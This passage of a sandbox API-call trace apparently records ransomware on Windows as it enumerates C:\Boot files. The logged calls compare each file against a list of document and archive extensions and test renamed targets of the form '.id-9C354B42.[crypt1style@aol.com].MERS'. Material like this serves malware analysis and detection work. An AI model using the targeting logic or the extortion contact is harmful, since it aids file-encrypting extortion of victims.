hTemplateFile=0x0) returned 0xffffffff [0033.834] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.834] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.834] lstrlenW (lpString=".doc") returned 4 [0033.834] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0033.834] lstrlenW (lpString=".docx") returned 5 [0033.834] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0033.834] lstrlenW (lpString=".pdf") returned 4 [0033.834] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0033.834] lstrlenW (lpString=".xls") returned 4 [0033.834] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0033.834] lstrlenW (lpString=".xlsx") returned 5 [0033.834] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0033.834] lstrlenW (lpString=".ppt") returned 4 [0033.834] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0033.834] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.834] lstrlenW (lpString=".zip") returned 4 [0033.834] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0033.834] lstrlenW (lpString=".rar") returned 4 [0033.834] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0033.834] lstrlenW (lpString=".bz2") returned 4 [0033.834] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0033.834] lstrlenW (lpString=".7z") returned 3 [0033.835] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0033.835] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.835] lstrlenW (lpString=".dbf") returned 4 [0033.835] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0033.835] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.835] lstrlenW (lpString=".1cd") returned 4 [0033.835] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0033.835] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.835] lstrlenW (lpString=".jpg") returned 4 [0033.835] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0033.835] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.835] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.835] lstrlenW (lpString=".doc") returned 4 [0033.835] lstrcmpiW (lpString1=".doc", lpString2="\\BCD") returned -1 [0033.835] lstrlenW (lpString=".docx") returned 5 [0033.835] lstrcmpiW (lpString1=".docx", lpString2="t\\BCD") returned -1 [0033.835] lstrlenW (lpString=".pdf") returned 4 [0033.835] lstrcmpiW (lpString1=".pdf", lpString2="\\BCD") returned -1 [0033.835] lstrlenW (lpString=".xls") returned 4 [0033.835] lstrcmpiW (lpString1=".xls", lpString2="\\BCD") returned -1 [0033.835] lstrlenW (lpString=".xlsx") returned 5 [0033.835] lstrcmpiW (lpString1=".xlsx", lpString2="t\\BCD") returned -1 [0033.835] lstrlenW (lpString=".ppt") returned 4 [0033.835] lstrcmpiW (lpString1=".ppt", lpString2="\\BCD") returned -1 [0033.835] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.835] lstrlenW (lpString=".zip") returned 4 [0033.835] lstrcmpiW (lpString1=".zip", lpString2="\\BCD") returned -1 [0033.835] lstrlenW (lpString=".rar") returned 4 [0033.836] lstrcmpiW (lpString1=".rar", lpString2="\\BCD") returned -1 [0033.836] lstrlenW (lpString=".bz2") returned 4 [0033.836] lstrcmpiW (lpString1=".bz2", lpString2="\\BCD") returned -1 [0033.836] lstrlenW (lpString=".7z") returned 3 [0033.836] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0033.836] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.836] lstrlenW (lpString=".dbf") returned 4 [0033.836] lstrcmpiW (lpString1=".dbf", lpString2="\\BCD") returned -1 [0033.836] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.836] lstrlenW (lpString=".1cd") returned 4 [0033.836] lstrcmpiW (lpString1=".1cd", lpString2="\\BCD") returned -1 [0033.836] lstrlenW (lpString="C:\\Boot\\BCD") returned 11 [0033.836] lstrlenW (lpString=".jpg") returned 4 [0033.836] lstrcmpiW (lpString1=".jpg", lpString2="\\BCD") returned -1 [0033.836] lstrcmpiW (lpString1=".LOG1", lpString2=".MERS") returned -1 [0033.836] lstrlenW (lpString="BCD.LOG1") returned 8 [0033.836] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0033.837] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=0) returned 1 [0033.837] CloseHandle (hObject=0x188) returned 1 [0033.837] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.837] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.837] lstrlenW (lpString=".doc") returned 4 [0033.837] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0033.837] lstrlenW (lpString=".docx") returned 5 [0033.837] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0033.837] lstrlenW (lpString=".pdf") returned 4 [0033.837] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0033.837] lstrlenW (lpString=".xls") returned 4 [0033.837] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0033.837] lstrlenW (lpString=".xlsx") returned 5 [0033.837] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0033.837] lstrlenW (lpString=".ppt") returned 4 [0033.837] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0033.837] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.837] lstrlenW (lpString=".zip") returned 4 [0033.837] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0033.837] lstrlenW (lpString=".rar") returned 4 [0033.837] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0033.837] lstrlenW (lpString=".bz2") returned 4 [0033.837] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0033.837] lstrlenW (lpString=".7z") returned 3 [0033.837] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0033.838] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.838] lstrlenW (lpString=".dbf") returned 4 [0033.838] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0033.838] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.838] lstrlenW (lpString=".1cd") returned 4 [0033.838] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0033.838] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.838] lstrlenW (lpString=".jpg") returned 4 [0033.838] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0033.838] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.838] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.838] lstrlenW (lpString=".doc") returned 4 [0033.838] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0033.838] lstrlenW (lpString=".docx") returned 5 [0033.838] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0033.838] lstrlenW (lpString=".pdf") returned 4 [0033.838] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0033.838] lstrlenW (lpString=".xls") returned 4 [0033.838] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0033.838] lstrlenW (lpString=".xlsx") returned 5 [0033.838] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0033.838] lstrlenW (lpString=".ppt") returned 4 [0033.838] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0033.838] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.838] lstrlenW (lpString=".zip") returned 4 [0033.838] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0033.838] lstrlenW (lpString=".rar") returned 4 [0033.838] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0033.839] lstrlenW (lpString=".bz2") returned 4 [0033.839] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0033.839] lstrlenW (lpString=".7z") returned 3 [0033.839] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0033.839] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.839] lstrlenW (lpString=".dbf") returned 4 [0033.839] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0033.839] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.839] lstrlenW (lpString=".1cd") returned 4 [0033.839] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0033.839] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0033.839] lstrlenW (lpString=".jpg") returned 4 [0033.839] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0033.839] lstrcmpiW (lpString1=".LOG2", lpString2=".MERS") returned -1 [0033.839] lstrlenW (lpString="BCD.LOG2") returned 8 [0033.839] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0033.840] GetFileSizeEx (in: hFile=0x188, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=0) returned 1 [0033.840] CloseHandle (hObject=0x188) returned 1 [0033.840] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.840] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.840] lstrlenW (lpString=".doc") returned 4 [0033.840] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0033.840] lstrlenW (lpString=".docx") returned 5 [0033.840] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0033.840] lstrlenW (lpString=".pdf") returned 4 [0033.840] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0033.840] lstrlenW (lpString=".xls") returned 4 [0033.840] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0033.840] lstrlenW (lpString=".xlsx") returned 5 [0033.840] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0033.840] lstrlenW (lpString=".ppt") returned 4 [0033.840] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0033.840] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.840] lstrlenW (lpString=".zip") returned 4 [0033.840] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0033.840] lstrlenW (lpString=".rar") returned 4 [0033.840] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0033.840] lstrlenW (lpString=".bz2") returned 4 [0033.841] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0033.841] lstrlenW (lpString=".7z") returned 3 [0033.841] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0033.841] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.841] lstrlenW (lpString=".dbf") returned 4 [0033.841] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0033.841] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.841] lstrlenW (lpString=".1cd") returned 4 [0033.841] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0033.841] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.841] lstrlenW (lpString=".jpg") returned 4 [0033.841] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0033.841] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.841] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.841] lstrlenW (lpString=".doc") returned 4 [0033.841] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0033.841] lstrlenW (lpString=".docx") returned 5 [0033.841] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0033.841] lstrlenW (lpString=".pdf") returned 4 [0033.841] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0033.841] lstrlenW (lpString=".xls") returned 4 [0033.841] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0033.841] lstrlenW (lpString=".xlsx") returned 5 [0033.841] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0033.841] lstrlenW (lpString=".ppt") returned 4 [0033.841] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0033.841] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.841] lstrlenW (lpString=".zip") returned 4 [0033.842] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0033.842] lstrlenW (lpString=".rar") returned 4 [0033.842] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0033.842] lstrlenW (lpString=".bz2") returned 4 [0033.851] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0033.851] lstrlenW (lpString=".7z") returned 3 [0033.851] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0033.851] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.851] lstrlenW (lpString=".dbf") returned 4 [0033.851] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0033.851] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.851] lstrlenW (lpString=".1cd") returned 4 [0033.851] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0033.851] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0033.851] lstrlenW (lpString=".jpg") returned 4 [0033.851] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0033.851] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0033.851] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.851] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0033.851] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=89168) returned 1 [0033.852] CloseHandle (hObject=0x18c) returned 1 [0033.852] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0033.852] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0033.852] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.852] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.852] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.852] lstrlenW (lpString=".doc") returned 4 [0033.852] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.852] lstrlenW (lpString=".docx") returned 5 [0033.852] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.852] lstrlenW (lpString=".pdf") returned 4 [0033.852] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.852] lstrlenW (lpString=".xls") returned 4 [0033.852] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.852] lstrlenW (lpString=".xlsx") returned 5 [0033.852] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.852] lstrlenW (lpString=".ppt") returned 4 [0033.852] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.853] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.853] lstrlenW (lpString=".zip") returned 4 [0033.853] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.853] lstrlenW (lpString=".rar") returned 4 [0033.853] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.853] lstrlenW (lpString=".bz2") returned 4 [0033.853] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.853] lstrlenW (lpString=".7z") returned 3 [0033.853] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.853] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.853] lstrlenW (lpString=".dbf") returned 4 [0033.853] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.853] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.853] lstrlenW (lpString=".1cd") returned 4 [0033.853] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.853] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.853] lstrlenW (lpString=".jpg") returned 4 [0033.853] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.853] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.853] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.853] lstrlenW (lpString=".doc") returned 4 [0033.853] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.853] lstrlenW (lpString=".docx") returned 5 [0033.853] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.853] lstrlenW (lpString=".pdf") returned 4 [0033.853] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.853] lstrlenW (lpString=".xls") returned 4 [0033.853] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.853] lstrlenW (lpString=".xlsx") returned 5 [0033.853] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.853] lstrlenW (lpString=".ppt") returned 4 [0033.853] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.854] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.854] lstrlenW (lpString=".zip") returned 4 [0033.854] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.854] lstrlenW (lpString=".rar") returned 4 [0033.854] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.854] lstrlenW (lpString=".bz2") returned 4 [0033.854] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.854] lstrlenW (lpString=".7z") returned 3 [0033.854] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.854] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.854] lstrlenW (lpString=".dbf") returned 4 [0033.854] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.854] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.854] lstrlenW (lpString=".1cd") returned 4 [0033.854] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.854] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0033.854] lstrlenW (lpString=".jpg") returned 4 [0033.854] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.854] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0033.854] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.854] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0033.854] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=87616) returned 1 [0033.854] CloseHandle (hObject=0x18c) returned 1 [0033.855] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0033.855] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0033.855] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.855] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.855] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.855] lstrlenW (lpString=".doc") returned 4 [0033.855] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.855] lstrlenW (lpString=".docx") returned 5 [0033.855] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.855] lstrlenW (lpString=".pdf") returned 4 [0033.855] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.855] lstrlenW (lpString=".xls") returned 4 [0033.855] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.855] lstrlenW (lpString=".xlsx") returned 5 [0033.855] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.855] lstrlenW (lpString=".ppt") returned 4 [0033.855] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.855] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.855] lstrlenW (lpString=".zip") returned 4 [0033.855] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.855] lstrlenW (lpString=".rar") returned 4 [0033.855] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.855] lstrlenW (lpString=".bz2") returned 4 [0033.855] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.855] lstrlenW (lpString=".7z") returned 3 [0033.855] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.855] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.855] lstrlenW (lpString=".dbf") returned 4 [0033.855] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.856] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.856] lstrlenW (lpString=".1cd") returned 4 [0033.856] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.856] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.856] lstrlenW (lpString=".jpg") returned 4 [0033.856] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.856] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.856] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.856] lstrlenW (lpString=".doc") returned 4 [0033.856] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.856] lstrlenW (lpString=".docx") returned 5 [0033.856] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.856] lstrlenW (lpString=".pdf") returned 4 [0033.856] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.856] lstrlenW (lpString=".xls") returned 4 [0033.856] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.856] lstrlenW (lpString=".xlsx") returned 5 [0033.856] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.856] lstrlenW (lpString=".ppt") returned 4 [0033.856] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.856] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.856] lstrlenW (lpString=".zip") returned 4 [0033.856] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.856] lstrlenW (lpString=".rar") returned 4 [0033.856] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.856] lstrlenW (lpString=".bz2") returned 4 [0033.856] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.856] lstrlenW (lpString=".7z") returned 3 [0033.856] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.856] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.856] lstrlenW (lpString=".dbf") returned 4 [0033.856] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.856] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.857] lstrlenW (lpString=".1cd") returned 4 [0033.857] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0033.857] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0033.857] lstrlenW (lpString=".jpg") returned 4 [0033.857] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0033.857] lstrcmpiW (lpString1=".mui", lpString2=".MERS") returned 1 [0033.857] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0033.857] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0033.857] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=91712) returned 1 [0033.857] CloseHandle (hObject=0x18c) returned 1 [0033.857] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20 [0033.857] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0033.857] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0033.857] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.857] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.857] lstrlenW (lpString=".doc") returned 4 [0033.857] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0033.857] lstrlenW (lpString=".docx") returned 5 [0033.857] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0033.858] lstrlenW (lpString=".pdf") returned 4 [0033.858] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0033.858] lstrlenW (lpString=".xls") returned 4 [0033.858] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0033.858] lstrlenW (lpString=".xlsx") returned 5 [0033.858] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0033.858] lstrlenW (lpString=".ppt") returned 4 [0033.858] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0033.858] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.858] lstrlenW (lpString=".zip") returned 4 [0033.858] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0033.858] lstrlenW (lpString=".rar") returned 4 [0033.858] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0033.858] lstrlenW (lpString=".bz2") returned 4 [0033.858] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0033.858] lstrlenW (lpString=".7z") returned 3 [0033.858] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0033.858] lstrlenW (lpString="C:\\Boot\\de-DE\\bootmgr.exe.mui") returned 29 [0033.858] lstrlenW (lpString=".dbf") returned 4 [0033.858] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0033.858] lstrlenW 